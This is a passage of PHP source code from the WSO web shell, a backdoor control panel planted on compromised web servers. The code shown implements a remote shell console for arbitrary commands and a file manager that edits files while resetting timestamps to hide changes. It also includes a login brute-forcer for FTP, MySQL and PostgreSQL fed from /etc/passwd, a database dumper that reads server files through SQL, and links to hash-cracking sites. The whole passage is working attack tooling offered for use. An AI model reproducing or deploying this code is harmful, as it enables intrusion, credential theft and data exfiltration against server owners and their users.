			.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
		$l = $l?0:1;
	}
	echo "<tr><td colspan=7>
	<input type=hidden name=a value='FilesMan'>
	<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
	<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
	<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
    if(class_exists('ZipArchive'))
        echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
    echo "<option value='tar'>Compress (tar.gz)</option>";
    if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
        echo "<option value='paste'>Paste / Compress</option>";
    echo "</select>&nbsp;";
    if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
        echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
    echo "<input type='submit' value='>>'></td></tr></form></table></div>";
	wsoFooter();
}

function actionStringTools() {
	if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
    if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
	if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
	if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
	if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
	$stringTools = array(
		'Base64 encode' => 'base64_encode',
		'Base64 decode' => 'base64_decode',
		'Url encode' => 'urlencode',
		'Url decode' => 'urldecode',
		'Full urlencode' => 'full_urlencode',
		'md5 hash' => 'md5',
		'sha1 hash' => 'sha1',
		'crypt' => 'crypt',
		'CRC32' => 'crc32',
		'ASCII to HEX' => 'ascii2hex',
		'HEX to ASCII' => 'hex2ascii',
		'HEX to DEC' => 'hexdec',
		'HEX to BIN' => 'hex2bin',
		'DEC to HEX' => 'dechex',
		'DEC to BIN' => 'decbin',
		'BIN to HEX' => 'binhex',
		'BIN to DEC' => 'bindec',
		'String to lower case' => 'strtolower',
		'String to upper case' => 'strtoupper',
		'Htmlspecialchars' => 'htmlspecialchars',
		'String length' => 'strlen',
	);
	if(isset($_POST['ajax'])) {
		WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
		ob_start();
		if(in_array($_POST['p1'], $stringTools))
			echo $_POST['p1']($_POST['p2']);
		$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"

	\'")."';
";
		echo strlen($temp), "
", $temp;
		exit;
	}
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
		WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
	wsoHeader();
	echo '<h1>String conversions</h1><div class=content>';
	echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
	foreach($stringTools as $k => $v)
		echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
		echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
	if(!empty($_POST['p1'])) {
		if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
	}
	echo"</pre></div><br><h1>Search files:</h1><div class=content>
		<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
			<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
			<tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
			<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
			<tr><td></td><td><input type='submit' value='>>'></td></tr>
			</table></form>";

	function wsoRecursiveGlob($path) {
		if(substr($path, -1) != '/')
			$path.='/';
		$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
		if(is_array($paths)&&@count($paths)) {
			foreach($paths as $item) {
				if(@is_dir($item)){
					if($path!=$item)
						wsoRecursiveGlob($item);
				} else {
					if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
						echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
				}
			}
		}
	}
	if(@$_POST['p3'])
		wsoRecursiveGlob($_POST['c']);
	echo "</div><br><h1>Search for hash:</h1><div class=content>
		<form method='post' target='_blank' name='hf'>
			<input type='text' name='hash' style='width:200px;'><br>
            <input type='hidden' name='act' value='find'/>
			<input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
			<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
            <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
		</form></div>";
	wsoFooter();
}

function actionFilesTools() {
	if( isset($_POST['p1']) )
		$_POST['p1'] = urldecode($_POST['p1']);
	if(@$_POST['p2']=='download') {
		if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
			ob_start("ob_gzhandler", 4096);
			header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
			if (function_exists("mime_content_type")) {
				$type = @mime_content_type($_POST['p1']);
				header("Content-Type: " . $type);
			} else
                header("Content-Type: application/octet-stream");
			$fp = @fopen($_POST['p1'], "r");
			if($fp) {
				while(!@feof($fp))
					echo @fread($fp, 1024);
				fclose($fp);
			}
		}exit;
	}
	if( @$_POST['p2'] == 'mkfile' ) {
		if(!file_exists($_POST['p1'])) {
			$fp = @fopen($_POST['p1'], 'w');
			if($fp) {
				$_POST['p2'] = "edit";
				fclose($fp);
			}
		}
	}
	wsoHeader();
	echo '<h1>File tools</h1><div class=content>';
	if( !file_exists(@$_POST['p1']) ) {
		echo 'File not exists';
		wsoFooter();
		return;
	}
	$uid = @posix_getpwuid(@fileowner($_POST['p1']));
	if(!$uid) {
		$uid['name'] = @fileowner($_POST['p1']);
		$gid['name'] = @filegroup($_POST['p1']);
	} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
	echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
	echo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
	if( empty($_POST['p2']) )
		$_POST['p2'] = 'view';
	if( is_file($_POST['p1']) )
		$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
	else
		$m = array('Chmod', 'Rename', 'Touch');
	foreach($m as $v)
		echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
	echo '<br><br>';
	switch($_POST['p2']) {
		case 'view':
			echo '<pre class=ml1>';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</pre>';
			break;
		case 'highlight':
			if( @is_readable($_POST['p1']) ) {
				echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
				$code = @highlight_file($_POST['p1'],true);
				echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
			}
			break;
		case 'chmod':
			if( !empty($_POST['p3']) ) {
				$perms = 0;
				for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
					$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
				if(!@chmod($_POST['p1'], $perms))
					echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
			break;
		case 'edit':
			if( !is_writable($_POST['p1'])) {
				echo 'File isn\'t writeable';
				break;
			}
			if( !empty($_POST['p3']) ) {
				$time = @filemtime($_POST['p1']);
				$_POST['p3'] = substr($_POST['p3'],1);
				$fp = @fopen($_POST['p1'],"w");
				if($fp) {
					@fwrite($fp,$_POST['p3']);
					@fclose($fp);
					echo 'Saved!<br><script>p3_="";</script>';
					@touch($_POST['p1'],$time,$time);
				}
			}
			echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</textarea><input type=submit value=">>"></form>';
			break;
		case 'hexdump':
			$c = @file_get_contents($_POST['p1']);
			$n = 0;
			$h = array('00000000<br>','','');
			$len = strlen($c);
			for ($i=0; $i<$len; ++$i) {
				$h[1] .= sprintf('%02X',ord($c[$i])).' ';
				switch ( ord($c[$i]) ) {
					case 0:  $h[2] .= ' '; break;
					case 9:  $h[2] .= ' '; break;
					case 10: $h[2] .= ' '; break;
					case 13: $h[2] .= ' '; break;
					default: $h[2] .= $c[$i]; break;
				}
				$n++;
				if ($n == 32) {
					$n = 0;
					if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
					$h[1] .= '<br>';
					$h[2] .= "
";
				}
		 	}
			echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
			break;
		case 'rename':
			if( !empty($_POST['p3']) ) {
				if(!@rename($_POST['p1'], $_POST['p3']))
					echo 'Can\'t rename!<br>';
				else
					die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
			}
			echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
			break;
		case 'touch':
			if( !empty($_POST['p3']) ) {
				$time = strtotime($_POST['p3']);
				if($time) {
					if(!touch($_POST['p1'],$time,$time))
						echo 'Fail!';
					else
						echo 'Touched!';
				} else echo 'Bad time format!';
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
			break;
	}
	echo '</div>';
	wsoFooter();
}

function actionConsole() {
    if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
        WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
        $_POST['p1'] .= ' 2>&1';
    } elseif(!empty($_POST['p1']))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);

	if(isset($_POST['ajax'])) {
		WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
		ob_start();
		echo "d.cf.cmd.value='';
";
		$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ ".$_POST['p1']."
".wsoEx($_POST['p1']),"

	\'"));
		if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))	{
			if(@chdir($match[1])) {
				$GLOBALS['cwd'] = @getcwd();
				echo "c_='".$GLOBALS['cwd']."';";
			}
		}
		echo "d.cf.output.value+='".$temp."';";
		echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
		$temp = ob_get_clean();
		echo strlen($temp), "
", $temp;
		exit;
	}
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
		WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
	wsoHeader();
    echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
	var n = (window.Event) ? e.which : e.keyCode;
	if(n == 38) {
		cur--;
		if(cur>=0)
			document.cf.cmd.value = cmds[cur];
		else
			cur++;
	} else if(n == 40) {
		cur++;
		if(cur < cmds.length)
			document.cf.cmd.value = cmds[cur];
		else
			cur--;
	}
}
function add(cmd) {
	cmds.pop();
	cmds.push(cmd);
	cmds.push('');
	cur = cmds.length-1;
}
</script>";
	echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
	foreach($GLOBALS['aliases'] as $n => $v) {
		if($v == '') {
			echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
			continue;
		}
		echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
	}
	
	echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
	if(!empty($_POST['p1'])) {
		echo htmlspecialchars("$ ".$_POST['p1']."
".wsoEx($_POST['p1']));
	}
	echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
	echo '</form></div><script>d.cf.cmd.focus();</script>';
	wsoFooter();
}

function actionLogout() {
    setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
	die('bye!');
}

function actionSelfRemove() {

	if($_POST['p1'] == 'yes')
		if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
			die('Shell has been removed');
		else
			echo 'unlink error!';
    if($_POST['p1'] != 'yes')
        wsoHeader();
	echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
	wsoFooter();
}

function actionBruteforce() {
	wsoHeader();
	if( isset($_POST['proto']) ) {
		echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
		if( $_POST['proto'] == 'ftp' ) {
			function wsoBruteForce($ip,$port,$login,$pass) {
				$fp = @ftp_connect($ip, $port?$port:21);
				if(!$fp) return false;
				$res = @ftp_login($fp, $login, $pass);
				@ftp_close($fp);
				return $res;
			}
		} elseif( $_POST['proto'] == 'mysql' ) {
			function wsoBruteForce($ip,$port,$login,$pass) {
				$res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
				@mysql_close($res);
				return $res;
			}
		} elseif( $_POST['proto'] == 'pgsql' ) {
			function wsoBruteForce($ip,$port,$login,$pass) {
				$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
				$res = @pg_connect($str);
				@pg_close($res);
				return $res;
			}
		}
		$success = 0;
		$attempts = 0;
		$server = explode(":", $_POST['server']);
		if($_POST['type'] == 1) {
			$temp = @file('/etc/passwd');
			if( is_array($temp) )
				foreach($temp as $line) {
					$line = explode(":", $line);
					++$attempts;
					if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
						$success++;
						echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
					}
					if(@$_POST['reverse']) {
						$tmp = "";
						for($i=strlen($line[0])-1; $i>=0; --$i)
							$tmp .= $line[0][$i];
						++$attempts;
						if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
							$success++;
							echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
						}
					}
				}
		} elseif($_POST['type'] == 2) {
			$temp = @file($_POST['dict']);
			if( is_array($temp) )
				foreach($temp as $line) {
					$line = trim($line);
					++$attempts;
					if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
						$success++;
						echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
					}
				}
		}
		echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
	}
	echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
		.'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
		.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
		.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
		.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
		.'<span>Server:port</span></td>'
		.'<td><input type=text name=server value="127.0.0.1"></td></tr>'
		.'<tr><td><span>Brute type</span></td>'
		.'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
		.'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
		.'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
		.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
		.'<td><input type=text name=login value="root"></td></tr>'
		.'<tr><td><span>Dictionary</span></td>'
		.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
		.'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
	echo '</div><br>';
	wsoFooter();
}

function actionSql() {
	class DbClass {
		var $type;
		var $link;
		var $res;
		function __construct($type)	{
			$this->type = $type;
		}
		function connect($host, $user, $pass, $dbname){
			switch($this->type)	{
				case 'mysql':
					if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
					break;
				case 'pgsql':
					$host = explode(':', $host);
					if(!$host[1]) $host[1]=5432;
					if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
					break;
			}
			return false;
		}
		function selectdb($db) {
			switch($this->type)	{
				case 'mysql':
					if (@mysql_select_db($db))return true;
					break;
			}
			return false;
		}
		function query($str) {
			switch($this->type) {
				case 'mysql':
					return $this->res = @mysql_query($str);
					break;
				case 'pgsql':
					return $this->res = @pg_query($this->link,$str);
					break;
			}
			return false;
		}
		function fetch() {
			$res = func_num_args()?func_get_arg(0):$this->res;
			switch($this->type)	{
				case 'mysql':
					return @mysql_fetch_assoc($res);
					break;
				case 'pgsql':
					return @pg_fetch_assoc($res);
					break;
			}
			return false;
		}
		function listDbs() {
			switch($this->type)	{
				case 'mysql':
                        return $this->query("SHOW databases");
				break;
				case 'pgsql':
					return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
				break;
			}
			return false;
		}
		function listTables() {
			switch($this->type)	{
				case 'mysql':
					return $this->res = $this->query('SHOW TABLES');
				break;
				case 'pgsql':
					return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
				break;
			}
			return false;
		}
		function error() {
			switch($this->type)	{
				case 'mysql':
					return @mysql_error();
				break;
				case 'pgsql':
					return @pg_last_error();
				break;
			}
			return false;
		}
		function setCharset($str) {
			switch($this->type)	{
				case 'mysql':
					if(function_exists('mysql_set_charset'))
						return @mysql_set_charset($str, $this->link);
					else
						$this->query('SET CHARSET '.$str);
					break;
				case 'pgsql':
					return @pg_set_client_encoding($this->link, $str);
					break;
			}
			return false;
		}
		function loadFile($str) {
			switch($this->type)	{
				case 'mysql':
					return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
				break;
				case 'pgsql':
					$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
					$r=array();
					while($i=$this->fetch())
						$r[] = $i['file'];
					$this->query('drop table wso2');
					return array('file'=>implode("
",$r));
				break;
			}
			return false;
		}
		function dump($table, $fp = false) {
			switch($this->type)	{
				case 'mysql':
					$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
					$create = mysql_fetch_array($res);
					$sql = $create[1].";
";
                    if($fp) fwrite($fp, $sql); else echo($sql);
					$this->query('SELECT * FROM `'.$table.'`');
                    $i = 0;
                    $head = true;
					while($item = $this->fetch()) {
                        $sql = '';
                        if($i % 1000 == 0) {
                            $head = true;
                            $sql = ";

";
                        }

						$columns = array();
						foreach($item as $k=>$v) {
                            if($v === null)
                                $item[$k] = "NULL";
                            elseif(is_int($v))
                                $item[$k] = $v;
                            else
                                $item[$k] = "'".@mysql_real_escape_string($v)."'";
							$columns[] = "`".$k."`";
						}
                        if($head) {
                            $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES 
	(".implode(", ", $item).')';
                            $head = false;
                        } else
                            $sql .= "
	,(".implode(", ", $item).')';
                        if($fp) fwrite($fp, $sql); else echo($sql);
                        $i++;
					}
                    if(!$head)
                        if($fp) fwrite($fp, ";

"); else echo(";

");
				break;
				case 'pgsql':
					$this->query('SELECT * FROM '.$table);
					while($item = $this->fetch()) {
						$columns = array();
						foreach($item as $k=>$v) {
							$item[$k] = "'".addslashes($v)."'";
							$columns[] = $k;
						}
                        $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
";
                        if($fp) fwrite($fp, $sql); else echo($sql);
					}
				break;
			}
			return false;
		}
	};
	$db = new DbClass($_POST['type']);
	if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
		$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
		$db->selectdb($_POST['sql_base']);
        switch($_POST['charset']) {
            case "Windows-1251": $db->setCharset('cp1251'); break;
            case "UTF-8": $db->setCharset('utf8'); break;
            case "KOI8-R": $db->setCharset('koi8r'); break;
            case "KOI8-U": $db->setCharset('koi8u'); break;
            case "cp866": $db->setCharset('cp866'); break;
        }
        if(empty($_POST['file'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=dump.sql");
            header("Content-Type: text/plain");
            foreach($_POST['tbl'] as $v)
				$db->dump($v);
            exit;
        } elseif($fp = @fopen($_POST['file'], 'w')) {
            foreach($_POST['tbl'] as $v)
                $db->dump($v, $fp);
            fclose($fp);
            unset($_POST['p2']);
        } else
            die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
	}
	wsoHeader();
	echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";
    if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
	$tmp = "<input type=text name=sql_base value=''>";
	if(isset($_POST['sql_host'])){
		if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
			switch($_POST['charset']) {
				case "Windows-1251": $db->setCharset('cp1251'); break;
				case "UTF-8": $db->setCharset('utf8'); break;
				case "KOI8-R": $db->setCharset('koi8r'); break;
				case "KOI8-U": $db->setCharset('koi8u'); break;
				case "cp866": $db->setCharset('cp866'); break;
			}
			$db->listDbs();
			echo "<select name=sql_base><option value=''></option>";
			while($item = $db->fetch()) {
				list($key, $value) = each($item);
				echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
			}
			echo '</select>';
		}
		else echo $tmp;
	}else
		echo $tmp;
	echo "</td>
				<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
			</tr>
		</table>
		<script>
            s_db='".@addslashes($_POST['sql_base'])."';
            function fs(f) {
                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
                    if(f.p1) f.p1.value='';
                    if(f.p2) f.p2.value='';
                    if(f.p3) f.p3.value='';
                }
            }
			function st(t,l) {
				d.sf.p1.value = 'select';
				d.sf.p2.value = t;
                if(l && d.sf.p3) d.sf.p3.value = l;
				d.sf.submit();
			}
			function is() {
				for(i=0;i<d.sf.elements['tbl[]'].length;++i)
					d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
			}
		</script>";
	if(isset($db) && $db->link){
		echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
			if(!empty($_POST['sql_base'])){
				$db->selectdb($_POST['sql_base']);
				echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
				$tbls_res = $db->listTables();
				while($item = $db->fetch($tbls_res)) {
					list($key, $value) = each($item);
                    if(!empty($_POST['sql_count']))
                        $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
					$value = htmlspecialchars($value);
					echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
				}
				echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
				if(@$_POST['p1'] == 'select') {
					$_POST['p1'] = 'query';
                    $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
					$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
					$num = $db->fetch();
					$pages = ceil($num['n'] / 30);
                    echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
                    echo " of $pages";
                    if($_POST['p3'] > 1)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
                    if($_POST['p3'] < $pages)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
                    $_POST['p3']--;
					if($_POST['type']=='pgsql')
						$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
					else
						$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
					echo "<br><br>";
				}
				if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
					$db->query(@$_POST['p2']);
					if($db->res !== false) {
						$title = false;
						echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
